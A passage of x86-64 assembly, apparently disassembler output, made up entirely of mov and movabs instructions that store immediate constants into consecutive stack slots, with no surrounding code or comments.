movabs rax, 0x73e9efe6c66118
mov qword [rsp + 0x61b0], rax
mov eax, 0x62c
mov word [rsp + 0x9c8], ax
movabs rax, 0x70b34381c108c6
mov qword [rsp + 0x61b8], rax
mov dword [rsp + 0x3224], 0x1335
mov eax, 0x8d1
mov word [rsp + 0x9cc], ax
mov dword [rsp + 0x3228], 0x6e7c
mov eax, 0x594
mov word [rsp + 0x9d0], ax
mov byte [rsp + 0xc2], 0x62
movabs rax, 0x7b14c15602dffd
mov qword [rsp + 0x61c0], rax
movabs rax, 0x74dc8fcab5f261
mov qword [rsp + 0x61c8], rax
mov eax, 0xef
mov word [rsp + 0x9d4], ax
movabs rax, 0x75915c87b3c5c1
mov qword [rsp + 0x61d0], rax
mov dword [rsp + 0x322c], 0x2c52
mov dword [rsp + 0x3230], 0x1d77
mov byte [rsp + 0xc3], 0x90
mov dword [rsp + 0x3234], 0x72c8
movabs rax, 0x77283449c4f76f
mov qword [rsp + 0x61d8], rax
mov byte [rsp + 0xc4], 0x48
mov byte [rsp + 0xc5], 0x13
movabs rax, 0x79194b2c8cf597
mov qword [rsp + 0x61e0], rax
mov eax, 0x19d
mov word [rsp + 0x9d8], ax
movabs rax, 0x74f26372502880
mov qword [rsp + 0x61e8], rax
mov dword [rsp + 0x3238], 0x4c8a
mov dword [rsp + 0x323c], 0xfbbc
mov dword [rsp + 0x3240], 0xf7ef
mov eax, 0x2c2
mov word [rsp + 0x9dc], ax
mov dword [rsp + 0x3244], 0xfcf2
mov eax, 0x517
mov word [rsp + 0x9e0], ax
mov eax, 0xba1
mov word [rsp + 0x9e4], ax
mov byte [rsp + 0xc6], 0x79
movabs rax, 0x7cb3fe9021f058
mov qword [rsp + 0x61f0], rax
mov dword [rsp + 0x3248], 0x5f2e
movabs rax, 0x7b463dd51ca716
mov qword [rsp + 0x61f8], rax
mov byte [rsp + 0xc7], 0x56
mov dword [rsp + 0x324c], 0x5c10
movabs rax, 0x7786d05b9a32ff
mov qword [rsp + 0x6200], rax
mov dword [rsp + 0x3250], 0x176a
mov eax, 0x6af
mov word [rsp + 0x9e8], ax
movabs rax, 0x7b5ff9da7546fa
mov qword [rsp + 0x6208], rax
movabs rax, 0x74f9e7d575f2f4
mov qword [rsp + 0x6210], rax
mov dword [rsp + 0x3254], 0x5298
movabs rax, 0x71afa65d0b84cc
mov qword [rsp + 0x6218], rax
movabs rax, 0x70955533e59f1f
mov qword [rsp + 0x6220], rax
movabs rax, 0x7ad589c810c699
mov qword [rsp + 0x6228], rax
movabs rax, 0x75b830d6c7a48d
mov qword [rsp + 0x6230], rax
mov dword [rsp + 0x3258], 0x2cfb
movabs rax, 0x7b87bf37625f48
mov qword [rsp + 0x6238], rax
mov byte [rsp + 0xc8], 0x24
movabs rax, 0x74bc78477084af
mov qword [rsp + 0x6240], rax
mov dword [rsp + 0x325c], 0xe6b0
movabs rax, 0x7a44cd509b2509
mov qword [rsp + 0x6248], rax
mov dword [rsp + 0x3260], 0x39be
mov eax, 0x74c
mov word [rsp + 0x9ec], ax
mov eax, 0x79b
mov word [rsp + 0x9f0], ax
mov dword [rsp + 0x3264], 0xa9cf
mov dword [rsp + 0x3268], 0x5b7b
movabs rax, 0x7801d85d3febe3
mov qword [rsp + 0x6250], rax
mov byte [rsp + 0xc9], 0xca
mov byte [rsp + 0xca], 0x61
movabs rax, 0x77f670f1bc699c
mov qword [rsp + 0x6258], rax
mov byte [rsp + 0xcb], 0x1a
movabs rax, 0x77d77118cc8ba4
mov qword [rsp + 0x6260], rax
mov byte [rsp + 0xcc], 0x87
mov byte [rsp + 0xcd], 0x1a
mov byte [rsp + 0xce], 0x6e
movabs rax, 0x73d5f0474f71df
mov qword [rsp + 0x6268], rax
movabs rax, 0x78f92f2e6672e2
mov qword [rsp + 0x6270], rax
movabs rax, 0x7c11fe8d64d83c
mov qword [rsp + 0x6278], rax
movabs rax, 0x712a03e868e891
mov qword [rsp + 0x6280], rax
movabs rax, 0x7d3b9e67a79d3d
mov qword [rsp + 0x6288], rax
mov dword [rsp + 0x326c], 0x40be
mov eax, 0x318
mov word [rsp + 0x9f4], ax
movabs rax, 0x7ce135d2163a96
mov qword [rsp + 0x6290], rax
mov byte [rsp + 0xcf], 0x2b
movabs rax, 0x7d201f39831249
mov qword [rsp + 0x6298], rax
mov byte [rsp + 0xd0], 0x4c
mov dword [rsp + 0x3270], 0x7281
mov byte [rsp + 0xd1], 0xb2
mov dword [rsp + 0x3274], 0x2333
mov byte [rsp + 0xd2], 0x1e
movabs rax, 0x7b03e299063ab2
mov qword [rsp + 0x62a0], rax
mov eax, 0x55f
mov word [rsp + 0x9f8], ax
mov dword [rsp + 0x3278], 0x4767
mov dword [rsp + 0x327c], 0x33f9
movabs rax, 0x742f6aa981ccbf
mov qword [rsp + 0x62a8], rax
mov dword [rsp + 0x3280], 0x3aad
mov eax, 0x7fa
mov word [rsp + 0x9fc], ax
movabs rax, 0x7e3825bcf115fc
mov qword [rsp + 0x62b0], rax
mov eax, 0x2e5
mov word [rsp + 0xa00], ax
mov dword [rsp + 0x3284], 0xeb81
mov eax, 0x53f
mov word [rsp + 0xa04], ax
mov eax, 0x69c
mov word [rsp + 0xa08], ax
mov byte [rsp + 0xd3], 0x1c
mov dword [rsp + 0x3288], 0x437c
movabs rax, 0x7c05992704299c
mov qword [rsp + 0x62b8], rax
mov dword [rsp + 0x328c], 0x8808
mov eax, 0x23
mov word [rsp + 0xa0c], ax
mov dword [rsp + 0x3290], 0xf659
mov eax, 0x181
mov word [rsp + 0xa10], ax
movabs rax, 0x72d9e451ff2e65
mov qword [rsp + 0x62c0], rax
mov dword [rsp + 0x3294], 0xedf7
movabs rax, 0x78f19f7f4f9da4
mov qword [rsp + 0x62c8], rax
movabs rax, 0x7372abbeb1ff69
mov qword [rsp + 0x62d0], rax
movabs rax, 0x7bbf582398f0b5
mov qword [rsp + 0x62d8], rax
mov eax, 0x4b5
mov word [rsp + 0xa14], ax
movabs rax, 0x7109ea9904c4c1
mov qword [rsp + 0x62e0], rax
mov dword [rsp + 0x3298], 0x4c3c
movabs rax, 0x7d5f605fe13ae8
mov qword [rsp + 0x62e8], rax
mov eax, 0xef8
mov word [rsp + 0xa18], ax
mov eax, 0x653
mov word [rsp + 0xa1c], ax
mov byte [rsp + 0xd4], 0x1e
movabs rax, 0x74007dcaf3a9e4
mov qword [rsp + 0x62f0], rax
mov byte [rsp + 0xd5], 0x71
mov eax, 0x6a7
mov word [rsp + 0xa20], ax
movabs rax, 0x75f74cbbc4de58
mov qword [rsp + 0x62f8], rax
mov eax, 0x297
mov word [rsp + 0xa24], ax
movabs rax, 0x7548cb2e58e68a
mov qword [rsp + 0x6300], rax
movabs rax, 0x7b52bb0e59c15e
mov qword [rsp + 0x6308], rax
mov eax, 0x8af
mov word [rsp + 0xa28], ax
mov dword [rsp + 0x329c], 0x55b7
mov dword [rsp + 0x32a0], 0xa089
movabs rax, 0x7ef70cc6211efc
mov qword [rsp + 0x6310], rax
mov eax, 0x2b7
mov word [rsp + 0xa2c], ax
movabs rax, 0x763ccee92a3938
mov qword [rsp + 0x6318], rax
mov byte [rsp + 0xd6], 0xa0
mov eax, 0xd52
mov word [rsp + 0xa30], ax
movabs rax, 0x7cfc0adcf0160e
mov qword [rsp + 0x6320], rax
mov dword [rsp + 0x32a4], 0x34b0
mov dword [rsp + 0x32a8], 0xd0ea
movabs rax, 0x76f6b9543d71d5
mov qword [rsp + 0x6328], rax
movabs rax, 0x76516f78aa468f
mov qword [rsp + 0x6330], rax
mov dword [rsp + 0x32ac], 0x451a
mov byte [rsp + 0xd7], 0x63
mov dword [rsp + 0x32b0], 0xde38
movabs rax, 0x7250712febc8e3
mov qword [rsp + 0x6338], rax
mov byte [rsp + 0xd8], 0xd3
mov byte [rsp + 0xd9], 0x13
mov byte [rsp + 0xda], 0x4b
mov dword [rsp + 0x32b4], 0xc2fa
mov eax, 0x7ad
mov word [rsp + 0xa34], ax
mov byte [rsp + 0xdb], 0xb7
movabs rax, 0x7778e43ad10b5a
mov qword [rsp + 0x6340], rax
mov byte [rsp + 0xdc], 0xb6
mov byte [rsp + 0xdd], 0x58
mov byte [rsp + 0xde], 0x49
mov dword [rsp + 0x32b8], 0x33d6
movabs rax, 0x78fc38497fc2eb
mov qword [rsp + 0x6348], rax
mov byte [rsp + 0xdf], 0x54
mov dword [rsp + 0x32bc], 0x19b3
movabs rax, 0x7c0e0174c557be
mov qword [rsp + 0x6350], rax
mov eax, 0x7b7
mov word [rsp + 0xa38], ax
mov byte [rsp + 0xe0], 0x31
mov dword [rsp + 0x32c0], 0x235
mov eax, 0x447
mov word [rsp + 0xa3c], ax
mov eax, 0x594
mov word [rsp + 0xa40], ax
mov dword [rsp + 0x32c4], 0x939
movabs rax, 0x7c0748a1f1954b
mov qword [rsp + 0x6358], rax
mov dword [rsp + 0x32c8], 0x6463
mov eax, 0x5cf
mov word [rsp + 0xa44], ax
movabs rax, 0x7aefd229868cea
mov qword [rsp + 0x6360], rax
mov eax, 0x24d
mov word [rsp + 0xa48], ax
movabs rax, 0x7656cad2ad3643
mov qword [rsp + 0x6368], rax
movabs rax, 0x70641deae5dc76
mov qword [rsp + 0x6370], rax
movabs rax, 0x750780ebf6892a
mov qword [rsp + 0x6378], rax
mov eax, 0x18c
mov word [rsp + 0xa4c], ax
movabs rax, 0x7237965e2fffb5
mov qword [rsp + 0x6380], rax
mov dword [rsp + 0x32cc], 0x49e9
mov dword [rsp + 0x32d0], 0xce7
movabs rax, 0x7e3314009fba99
mov qword [rsp + 0x6388], rax
mov byte [rsp + 0xe1], 0xdf
mov dword [rsp + 0x32d4], 0x118e
movabs rax, 0x7ee9b504e6ec04
mov qword [rsp + 0x6390], rax
mov eax, 0xc3d
mov word [rsp + 0xa50], ax
movabs rax, 0x732946873b41b1
mov qword [rsp + 0x6398], rax
movabs rax, 0x7021fdef0cddc2
mov qword [rsp + 0x63a0], rax
movabs rax, 0x71c5a575395b91
mov qword [rsp + 0x63a8], rax
movabs rax, 0x7183472dda6c19
mov qword [rsp + 0x63b0], rax
movabs rax, 0x71a3489987eb77
mov qword [rsp + 0x63b8], rax
movabs rax, 0x751cbc4334aca9
mov qword [rsp + 0x63c0], rax
mov byte [rsp + 0xe2], 0x25
mov eax, 0xbd6
mov word [rsp + 0xa54], ax
movabs rax, 0x72b91b5ba1090e
mov qword [rsp + 0x63c8], rax
movabs rax, 0x76d931ef38c573
mov qword [rsp + 0x63d0], rax
movabs rax, 0x7224c94500d8c2
mov qword [rsp + 0x63d8], rax
mov byte [rsp + 0xe3], 0x57
movabs rax, 0x7177c34127768e
mov qword [rsp + 0x63e0], rax
mov eax, 0x859
mov word [rsp + 0xa58], ax
mov dword [rsp + 0x32d8], 0x6b5c
movabs rax, 0x7dac14e5aa4138
mov qword [rsp + 0x63e8], rax
mov byte [rsp + 0xe4], 1
mov byte [rsp + 0xe5], 0xac
movabs rax, 0x73e8c75b08d5b8
mov qword [rsp + 0x63f0], rax
mov dword [rsp + 0x32dc], 0x433a
mov byte [rsp + 0xe6], 0x40
mov eax, 0x51c
mov word [rsp + 0xa5c], ax
movabs rax, 0x776dd48427b0d5
mov qword [rsp + 0x63f8], rax
movabs rax, 0x7e04b7d95d92a7
mov qword [rsp + 0x6400], rax
movabs rax, 0x7afdf60443deb5
mov qword [rsp + 0x6408], rax
mov eax, 0x596
mov word [rsp + 0xa60], ax
mov byte [rsp + 0xe7], 0x64
mov eax, 0x1d9
mov word [rsp + 0xa64], ax
mov eax, 0x50c
mov word [rsp + 0xa68], ax
mov eax, 0xff
mov word [rsp + 0xa6c], ax
mov dword [rsp + 0x32e0], 0xfe28
mov dword [rsp + 0x32e4], 0x311c
movabs rax, 0x78ddc6d60fb87f
mov qword [rsp + 0x6410], rax
movabs rax, 0x7aee7fb1acb73a
mov qword [rsp + 0x6418], rax
mov dword [rsp + 0x32e8], 0x1c53
mov eax, 0xaad
mov word [rsp + 0xa70], ax
movabs rax, 0x7d473ef407e418
mov qword [rsp + 0x6420], rax
mov dword [rsp + 0x32ec], 0x2f6b
mov byte [rsp + 0xe8], 0x1e
mov byte [rsp + 0xe9], 0x28
mov dword [rsp + 0x32f0], 0x2dd
movabs rax, 0x7a6e262ebe90e1
mov qword [rsp + 0x6428], rax
mov dword [rsp + 0x32f4], 0x2c24
mov eax, 0x1ee
mov word [rsp + 0xa74], ax
mov dword [rsp + 0x32f8], 0x49ef
movabs rax, 0x7a81d61b01acc5
mov qword [rsp + 0x6430], rax
mov byte [rsp + 0xea], 0xe
mov byte [rsp + 0xeb], 0xcb
mov byte [rsp + 0xec], 0x30
mov dword [rsp + 0x32fc], 0x7722
mov eax, 0xe1d
mov word [rsp + 0xa78], ax
mov dword [rsp + 0x3300], 0x168d
mov dword [rsp + 0x3304], 0x485c
mov dword [rsp + 0x3308], 0xb394
mov byte [rsp + 0xed], 0x70
mov dword [rsp + 0x330c], 0xb2a
mov byte [rsp + 0xee], 0x55
mov byte [rsp + 0xef], 0x35
mov byte [rsp + 0xf0], 0x56
mov dword [rsp + 0x3310], 0x7ade
movabs rax, 0x7a2690e1c12a46
mov qword [rsp + 0x6438], rax
mov eax, 0x43c
mov word [rsp + 0xa7c], ax
mov dword [rsp + 0x3314], 0x756a
movabs rax, 0x7c5704cca73b6b
mov qword [rsp + 0x6440], rax
mov byte [rsp + 0xf1], 0x13
mov byte [rsp + 0xf2], 0x51
mov eax, 0x685
mov word [rsp + 0xa80], ax
mov dword [rsp + 0x3318], 0xfd4d
mov dword [rsp + 0x331c], 0x11b5
mov dword [rsp + 0x3320], 0xa0f2
movabs rax, 0x76d54910126b39
mov qword [rsp + 0x6448], rax
mov dword [rsp + 0x3324], 0x3788
movabs rax, 0x70a32156646735
mov qword [rsp + 0x6450], rax
movabs rax, 0x79c6672b30ecbc
mov qword [rsp + 0x6458], rax
mov byte [rsp + 0xf3], 4
mov eax, 0xb72
mov word [rsp + 0xa84], ax
mov eax, 0x342
mov word [rsp + 0xa88], ax
mov byte [rsp + 0xf4], 0xe6
mov byte [rsp + 0xf5], 0x8d
mov eax, 0xd6
mov word [rsp + 0xa8c], ax
movabs rax, 0x71881c50542e32
mov qword [rsp + 0x6460], rax
movabs rax, 0x7c27e94712717c
mov qword [rsp + 0x6468], rax
mov byte [rsp + 0xf6], 0xac
movabs rax, 0x74b6c86959ea72
mov qword [rsp + 0x6470], rax
movabs rax, 0x7811fa41d8b6db
mov qword [rsp + 0x6478], rax
mov dword [rsp + 0x3328], 0x5160
movabs rax, 0x72d3faed67aa52
mov qword [rsp + 0x6480], rax
movabs rax, 0x7bdf5d585be39c
mov qword [rsp + 0x6488], rax
mov dword [rsp + 0x332c], 0xdac0
movabs rax, 0x710a5190bceb2f
mov qword [rsp + 0x6490], rax
mov byte [rsp + 0xf7], 0xc2
movabs rax, 0x7962640d6eca2a
mov qword [rsp + 0x6498], rax
mov dword [rsp + 0x3330], 0x1e27
mov dword [rsp + 0x3334], 0xb1dc
mov dword [rsp + 0x3338], 0xacbc
mov eax, 0xd86
mov word [rsp + 0xa90], ax
mov byte [rsp + 0xf8], 0x21
mov dword [rsp + 0x333c], 0xa51
mov dword [rsp + 0x3340], 0x2878
movabs rax, 0x75f556d2b7787b
mov qword [rsp + 0x64a0], rax
mov dword [rsp + 0x3344], 0x64bb
mov dword [rsp + 0x3348], 0x4884
mov dword [rsp + 0x334c], 0x6146
mov eax, 0x7e4
mov word [rsp + 0xa94], ax
mov byte [rsp + 0xf9], 0x29
mov dword [rsp + 0x3350], 0x7ff4
mov byte [rsp + 0xfa], 0x7c
mov byte [rsp + 0xfb], 0x5a
mov byte [rsp + 0xfc], 0x30
mov eax, 0xa9a
mov word [rsp + 0xa98], ax
movabs rax, 0x7c791d1c824b85
mov qword [rsp + 0x64a8], rax
movabs rax, 0x7259e02e722b68
mov qword [rsp + 0x64b0], rax
mov eax, 0x654
mov word [rsp + 0xa9c], ax
movabs rax, 0x74102672fcd748
mov qword [rsp + 0x64b8], rax
mov dword [rsp + 0x3354], 0xbf86
mov dword [rsp + 0x3358], 0x1301
mov eax, 0x3f0
mov word [rsp + 0xaa0], ax
movabs rax, 0x759f7626ce45e7
mov qword [rsp + 0x64c0], rax
mov byte [rsp + 0xfd], 4
mov eax, 0x8bd
mov word [rsp + 0xaa4], ax
movabs rax, 0x7aaaef8a7c2deb
mov qword [rsp + 0x64c8], rax
mov dword [rsp + 0x335c], 0xed9e
movabs rax, 0x74dcfb0e11da10
mov qword [rsp + 0x64d0], rax
movabs rax, 0x71c79bccdcdb02
mov qword [rsp + 0x64d8], rax
movabs rax, 0x7813f44650bcf2
mov qword [rsp + 0x64e0], rax
mov eax, 0x946
mov word [rsp + 0xaa8], ax
mov byte [rsp + 0xfe], 0x29
movabs rax, 0x7cf45da716abd7
mov qword [rsp + 0x64e8], rax
mov eax, 0x3d7
mov word [rsp + 0xaac], ax
mov dword [rsp + 0x3360], 0x201c
mov dword [rsp + 0x3364], 0x40a4
mov eax, 0x109
mov word [rsp + 0xab0], ax
movabs rax, 0x757e4a693014df
mov qword [rsp + 0x64f0], rax
mov dword [rsp + 0x3368], 0xcf44
mov eax, 0x6d
mov word [rsp + 0xab4], ax
mov byte [rsp + 0xff], 0xf0
mov byte [rsp + 0x100], 0x7c
mov eax, 0xd53
mov word [rsp + 0xab8], ax
mov dword [rsp + 0x336c], 0x37f7
movabs rax, 0x795096a55b5140
mov qword [rsp + 0x64f8], rax
mov byte [rsp + 0x101], 0xca
mov dword [rsp + 0x3370], 0xea61
mov dword [rsp + 0x3374], 0x3e2f
mov byte [rsp + 0x102], 0xe1
mov dword [rsp + 0x3378], 0x8e4c
mov eax, 0x807
mov word [rsp + 0xabc], ax
movabs rax, 0x7dc1bc7ad3201c
mov qword [rsp + 0x6500], rax
mov eax, 0xd06
mov word [rsp + 0xac0], ax
mov dword [rsp + 0x337c], 0xad3
mov dword [rsp + 0x3380], 0x6acb
movabs rax, 0x777ea3f41d0762
mov qword [rsp + 0x6508], rax
mov eax, 0x537
mov word [rsp + 0xac4], ax
mov eax, 0x3d8
mov word [rsp + 0xac8], ax
mov dword [rsp + 0x3384], 0x6edf
movabs rax, 0x76c756703c6ed3
mov qword [rsp + 0x6510], rax
mov byte [rsp + 0x103], 0x57
movabs rax, 0x7cf32dfdad15e4
mov qword [rsp + 0x6518], rax
mov dword [rsp + 0x3388], 0x3923
mov byte [rsp + 0x104], 0x2b
mov eax, 0xb87
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x338c], 0x2b3
mov eax, 0x98e
mov word [rsp + 0xad0], ax
mov dword [rsp + 0x3390], 0x3f0a
mov dword [rsp + 0x3394], 0xc4a1
mov dword [rsp + 0x3398], 0x5fc4
mov dword [rsp + 0x339c], 0x50ae
movabs rax, 0x78919897133ea6
mov qword [rsp + 0x6520], rax
mov dword [rsp + 0x33a0], 0x12a1
mov byte [rsp + 0x105], 0x78
mov eax, 0x563
mov word [rsp + 0xad4], ax
mov dword [rsp + 0x33a4], 0xd95
mov dword [rsp + 0x33a8], 0x4377
movabs rax, 0x70ab6a1152d646
mov qword [rsp + 0x6528], rax
movabs rax, 0x743bf5587889be
mov qword [rsp + 0x6530], rax
mov eax, 0x823
mov word [rsp + 0xad8], ax
movabs rax, 0x7b170e7c3ab1aa
mov qword [rsp + 0x6538], rax
movabs rax, 0x7842733d604959
mov qword [rsp + 0x6540], rax
movabs rax, 0x708fb9c8368073
mov qword [rsp + 0x6548], rax
movabs rax, 0x7bc028ec3b4e9c
mov qword [rsp + 0x6550], rax
mov dword [rsp + 0x33ac], 0x5f6f
mov dword [rsp + 0x33b0], 0x21c2
mov dword [rsp + 0x33b4], 0x318b
movabs rax, 0x73d623f8891736
mov qword [rsp + 0x6558], rax
mov dword [rsp + 0x33b8], 0x1df2
mov byte [rsp + 0x106], 0x32
mov byte [rsp + 0x107], 0x45
mov eax, 0x7a0
mov word [rsp + 0xadc], ax
mov byte [rsp + 0x108], 0x2e
mov dword [rsp + 0x33bc], 0x5a62
movabs rax, 0x797449190167fe
mov qword [rsp + 0x6560], rax
movabs rax, 0x72b921660c1f3d
mov qword [rsp + 0x6568], rax
mov dword [rsp + 0x33c0], 0x355
mov dword [rsp + 0x33c4], 0xb39
mov dword [rsp + 0x33c8], 0x7faa
movabs rax, 0x78e0cd3a04bd78
mov qword [rsp + 0x6570], rax
movabs rax, 0x74b6b335ea91c6
mov qword [rsp + 0x6578], rax
mov dword [rsp + 0x33cc], 0x4b9d
mov dword [rsp + 0x33d0], 0x2ec7
mov eax, 0x6e3
mov word [rsp + 0xae0], ax
mov eax, 0xc1
mov word [rsp + 0xae4], ax
mov byte [rsp + 0x109], 0xb1
mov eax, 0x544
mov word [rsp + 0xae8], ax
mov byte [rsp + 0x10a], 0x71
movabs rax, 0x7c8eb7feaae745
mov qword [rsp + 0x6580], rax
mov eax, 0xdbd
mov word [rsp + 0xaec], ax
mov dword [rsp + 0x33d4], 0xf64f
mov eax, 0xa08
mov word [rsp + 0xaf0], ax
mov byte [rsp + 0x10b], 0x18
mov eax, 0xb8a
mov word [rsp + 0xaf4], ax
movabs rax, 0x76205dc888cd48
mov qword [rsp + 0x6588], rax
mov byte [rsp + 0x10c], 0x16
mov eax, 0x10d
mov word [rsp + 0xaf8], ax
movabs rax, 0x738745687273c9
mov qword [rsp + 0x6590], rax
movabs rax, 0x753aeddbad1f4a
mov qword [rsp + 0x6598], rax
movabs rax, 0x7dac3ce2bd69e3
mov qword [rsp + 0x65a0], rax
mov dword [rsp + 0x33d8], 0x4646
mov eax, 0x6fd
mov word [rsp + 0xafc], ax
movabs rax, 0x74fa66b3949d0a
mov qword [rsp + 0x65a8], rax
movabs rax, 0x76dc1388bcb200
mov qword [rsp + 0x65b0], rax
mov eax, 0x7eb
mov word [rsp + 0xb00], ax
movabs rax, 0x794a1ecf25a9ea
mov qword [rsp + 0x65b8], rax
mov dword [rsp + 0x33dc], 0x48f6
movabs rax, 0x70c67782b0d1b5
mov qword [rsp + 0x65c0], rax
movabs rax, 0x78329d0a5c513d
mov qword [rsp + 0x65c8], rax
mov byte [rsp + 0x10d], 0xc1
mov eax, 0x5b4
mov word [rsp + 0xb04], ax
mov eax, 0xe25
mov word [rsp + 0xb08], ax
movabs rax, 0x769372e5f90af6
mov qword [rsp + 0x65d0], rax
movabs rax, 0x72aeb516c0f933
mov qword [rsp + 0x65d8], rax
movabs rax, 0x71c19985805cf0
mov qword [rsp + 0x65e0], rax
mov eax, 0x4ef
mov word [rsp + 0xb0c], ax
mov eax, 0x5b6
mov word [rsp + 0xb10], ax
mov eax, 0x5b1
mov word [rsp + 0xb14], ax
mov byte [rsp + 0x10e], 0x17
mov eax, 0x426
mov word [rsp + 0xb18], ax
mov eax, 0x2cb
mov word [rsp + 0xb1c], ax
movabs rax, 0x775ccbfb5f020e
mov qword [rsp + 0x65e8], rax
movabs rax, 0x760e6a09e5761b
mov qword [rsp + 0x65f0], rax
movabs rax, 0x70dbcc279ee169
mov qword [rsp + 0x65f8], rax
mov byte [rsp + 0x10f], 0x49
movabs rax, 0x718b956320cbc9
mov qword [rsp + 0x6600], rax
mov byte [rsp + 0x110], 0x6f
mov eax, 0x57e
mov word [rsp + 0xb20], ax
movabs rax, 0x72162e0f11db42
mov qword [rsp + 0x6608], rax
mov eax, 0x9fe
mov word [rsp + 0xb24], ax
movabs rax, 0x736777b91ddbdb
mov qword [rsp + 0x6610], rax
mov eax, 0x745
mov word [rsp + 0xb28], ax
movabs rax, 0x7a93c94308ff96
mov qword [rsp + 0x6618], rax
movabs rax, 0x7e579107d8483d
mov qword [rsp + 0x6620], rax
movabs rax, 0x704b4991694053
mov qword [rsp + 0x6628], rax
movabs rax, 0x70bb9b4f022a89
mov qword [rsp + 0x6630], rax
mov byte [rsp + 0x111], 0xb
mov eax, 0xd
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x33e0], 0x2031
mov byte [rsp + 0x112], 0xdb
mov eax, 0x699
mov word [rsp + 0xb30], ax
movabs rax, 0x70d859b414b7b1
mov qword [rsp + 0x6638], rax
movabs rax, 0x790ca6e9d0b0fc
mov qword [rsp + 0x6640], rax
movabs rax, 0x76a5355cccbf1c
mov qword [rsp + 0x6648], rax
movabs rax, 0x7848d894c0b385
mov qword [rsp + 0x6650], rax
movabs rax, 0x7de0d93c3ba4a8
mov qword [rsp + 0x6658], rax
movabs rax, 0x733a74b0f98f0b
mov qword [rsp + 0x6660], rax
movabs rax, 0x79070ca53aaf36
mov qword [rsp + 0x6668], rax
mov byte [rsp + 0x113], 0x2d
movabs rax, 0x750d88c7cb933e
mov qword [rsp + 0x6670], rax
mov eax, 0x5a9
mov word [rsp + 0xb34], ax
movabs rax, 0x7109bcffb95ea8
mov qword [rsp + 0x6678], rax
mov byte [rsp + 0x114], 0x3e
mov byte [rsp + 0x115], 0x56
movabs rax, 0x755f87f9a66f41
mov qword [rsp + 0x6680], rax
mov eax, 0x899
mov word [rsp + 0xb38], ax
mov byte [rsp + 0x116], 0x9e
movabs rax, 0x70dbbc5fc3b271
mov qword [rsp + 0x6688], rax
mov byte [rsp + 0x117], 0xd0
mov eax, 0x218
mov word [rsp + 0xb3c], ax
movabs rax, 0x753329c3651011
mov qword [rsp + 0x6690], rax
mov byte [rsp + 0x118], 0x55
mov byte [rsp + 0x119], 0x8b
mov eax, 0x1b6
mov word [rsp + 0xb40], ax
mov byte [rsp + 0x11a], 0xd6
mov eax, 0xdaa
mov word [rsp + 0xb44], ax
mov eax, 0x9a5
mov word [rsp + 0xb48], ax
mov byte [rsp + 0x11b], 2
mov dword [rsp + 0x33e4], 0xf58e
mov eax, 0x3ad
mov word [rsp + 0xb4c], ax
mov dword [rsp + 0x33e8], 0x42f5
mov dword [rsp + 0x33ec], 0x265
mov eax, 0x772
mov word [rsp + 0xb50], ax
mov byte [rsp + 0x11c], 0x75
mov eax, 0x45f
mov word [rsp + 0xb54], ax
mov eax, 0x4ec
mov word [rsp + 0xb58], ax
movabs rax, 0x78c588cecb5671
mov qword [rsp + 0x6698], rax
mov eax, 0x16e
mov word [rsp + 0xb5c], ax
movabs rax, 0x72b8c72e9dcffd
mov qword [rsp + 0x66a0], rax
mov dword [rsp + 0x33f0], 0xed14
mov dword [rsp + 0x33f4], 0x4430
mov eax, 0xac4
mov word [rsp + 0xb60], ax
movabs rax, 0x7a075fd8ca3f6a
mov qword [rsp + 0x66a8], rax
movabs rax, 0x7a12102a873c85
mov qword [rsp + 0x66b0], rax
movabs rax, 0x751563c944a9e1
mov qword [rsp + 0x66b8], rax
mov dword [rsp + 0x33f8], 0x2927
movabs rax, 0x7a7940eca39a76
mov qword [rsp + 0x66c0], rax
mov eax, 0x42e
mov word [rsp + 0xb64], ax
mov dword [rsp + 0x33fc], 0x3a25
mov dword [rsp + 0x3400], 0xa9d0
mov dword [rsp + 0x3404], 0x807e
movabs rax, 0x7a7e07a8e02bff
mov qword [rsp + 0x66c8], rax
mov eax, 0x388
mov word [rsp + 0xb68], ax
mov byte [rsp + 0x11d], 0xdc
mov dword [rsp + 0x3408], 0x700e
mov dword [rsp + 0x340c], 0x33aa
movabs rax, 0x72210be1c6ebb3
mov qword [rsp + 0x66d0], rax
movabs rax, 0x7106df9ca2a965
mov qword [rsp + 0x66d8], rax
mov eax, 0xfc
mov word [rsp + 0xb6c], ax
movabs rax, 0x7564483cf38ae8
mov qword [rsp + 0x66e0], rax
mov byte [rsp + 0x11e], 0x26
mov dword [rsp + 0x3410], 0xe061
mov dword [rsp + 0x3414], 0x3b
movabs rax, 0x7b0067b55a7e51
mov qword [rsp + 0x66e8], rax
mov dword [rsp + 0x3418], 0x5de
mov eax, 0x6e5
mov word [rsp + 0xb70], ax
movabs rax, 0x73c67eae21407e
mov qword [rsp + 0x66f0], rax
mov byte [rsp + 0x11f], 0x6b
movabs rax, 0x7d6d46a5496491
mov qword [rsp + 0x66f8], rax
movabs rax, 0x7a97ed9e8da7b8
mov qword [rsp + 0x6700], rax
mov byte [rsp + 0x120], 0xd3
mov byte [rsp + 0x121], 0x89
mov dword [rsp + 0x341c], 0x5929
movabs rax, 0x7a61ebde680014
mov qword [rsp + 0x6708], rax
movabs rax, 0x7e42fdebe291dc
mov qword [rsp + 0x6710], rax
mov byte [rsp + 0x122], 0x51
mov byte [rsp + 0x123], 0x42
movabs rax, 0x75a1fc0fa42357
mov qword [rsp + 0x6718], rax
movabs rax, 0x72481e091c2b81
mov qword [rsp + 0x6720], rax
mov dword [rsp + 0x3420], 0x9b9
mov dword [rsp + 0x3424], 0x3679
movabs rax, 0x78485c32e0106c
mov qword [rsp + 0x6728], rax
mov byte [rsp + 0x124], 0x51
mov eax, 0x5d4
mov word [rsp + 0xb74], ax
mov dword [rsp + 0x3428], 0x4636
mov byte [rsp + 0x125], 0xb8
movabs rax, 0x7b72f8547e1885
mov qword [rsp + 0x6730], rax
movabs rax, 0x75dfe44ff3a20b
mov qword [rsp + 0x6738], rax
mov byte [rsp + 0x126], 0x19
mov byte [rsp + 0x127], 0x5e
mov eax, 0x5e4
mov word [rsp + 0xb78], ax
movabs rax, 0x7004232f2615ff
mov qword [rsp + 0x6740], rax
movabs rax, 0x73e070830f901e
mov qword [rsp + 0x6748], rax
mov dword [rsp + 0x342c], 0x62bb
mov byte [rsp + 0x128], 0x78
mov dword [rsp + 0x3430], 0xada8
mov dword [rsp + 0x3434], 0x5b1f
mov dword [rsp + 0x3438], 0x3a25
mov eax, 0x369
mov word [rsp + 0xb7c], ax
mov byte [rsp + 0x129], 0x72
movabs rax, 0x79232d58b60b1b
mov qword [rsp + 0x6750], rax
movabs rax, 0x7dc12b0fc01b9b
